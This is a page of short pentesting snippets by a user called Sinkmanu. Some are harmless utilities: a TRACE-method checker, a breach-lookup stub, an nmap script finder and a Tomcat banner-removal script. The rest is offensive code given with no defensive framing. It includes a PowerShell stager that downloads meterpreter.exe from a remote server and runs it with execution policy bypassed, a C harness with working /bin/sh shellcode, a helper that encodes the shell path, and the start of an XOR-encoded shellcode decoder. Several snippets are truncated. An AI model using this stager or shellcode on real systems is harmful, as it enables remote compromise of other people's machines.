Sinkmanu

#/usr/bin/bash
filename="$1"
while read -r line
do	
	output=`curl -s -I -X TRACE "$line" | head -n 1`
	echo "$line : $output"
done < "$filename"

Sinkmanu

#!/usr/bin/env python

import requests
from xml.etree.ElementTree import XML, SubElement, Element, tostring
import sys
from bs4 import BeautifulSoup

url = sys.argv[1]

user_agent = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0' }

Sinkmanu

echo $storageDir = $pwd > wget.ps1
echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "http://server/meterpreter.exe" >>wget.ps1
echo $file = "meterpreter.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1


And run:
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

Sinkmanu

#!/usr/bin/env python3

import sys
import requests
import json

emails = sys.argv[1]

urlAPI = "https://haveibeenpwned.com/api/v2/breachedaccount/"
user_agent = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0' }

Sinkmanu

#!/bin/bash

# vim /usr/bin/findnmapscripts
# chmod +x /usr/bin/findnmapscripts
# findnmapscripts http

find /usr/share/nmap/scripts/ -name "*$1*" | cut -d "/" -f 6

Sinkmanu

# Get all opcodes of a binary file
for i in `objdump -d program | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done

Sinkmanu

#!/bin/bash

CATALINAJARPATH=/path/to/catalina
cd $CATALINAJARPATH
echo "Removing banner..."
jar xf catalina.jar org/apache/catalina/util/ServerInfo.properties
sed -i -e 's/Apache Tomcat.*/Apache Tomcat/g' org/apache/catalina/util/ServerInfo.properties
sed -i -e 's/[[:digit:]].*\.[[:digit:]].*\.[[:digit:]].*\.[[:digit:]].*/0\.0\.0\.0/g' org/apache/catalina/util/ServerInfo.properties
sed -i -e 's/server\.built=.*/server\.built\=/g' org/apache/catalina/util/ServerInfo.properties
cat org/apache/catalina/util/ServerInfo.properties

Sinkmanu

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd"
"\x80";


int main() {

Sinkmanu

python -c "cad = '//bin/bash'; print [cad[::-1].encode('hex')[i:i+8] for i in range(0, len(cad[::-1].encode('hex')), 8)]"

Sinkmanu

; /bin/sh execv encoded with XOR and SUB 

global _start			

section .text
_start:

	jmp short call_decoder

decoder: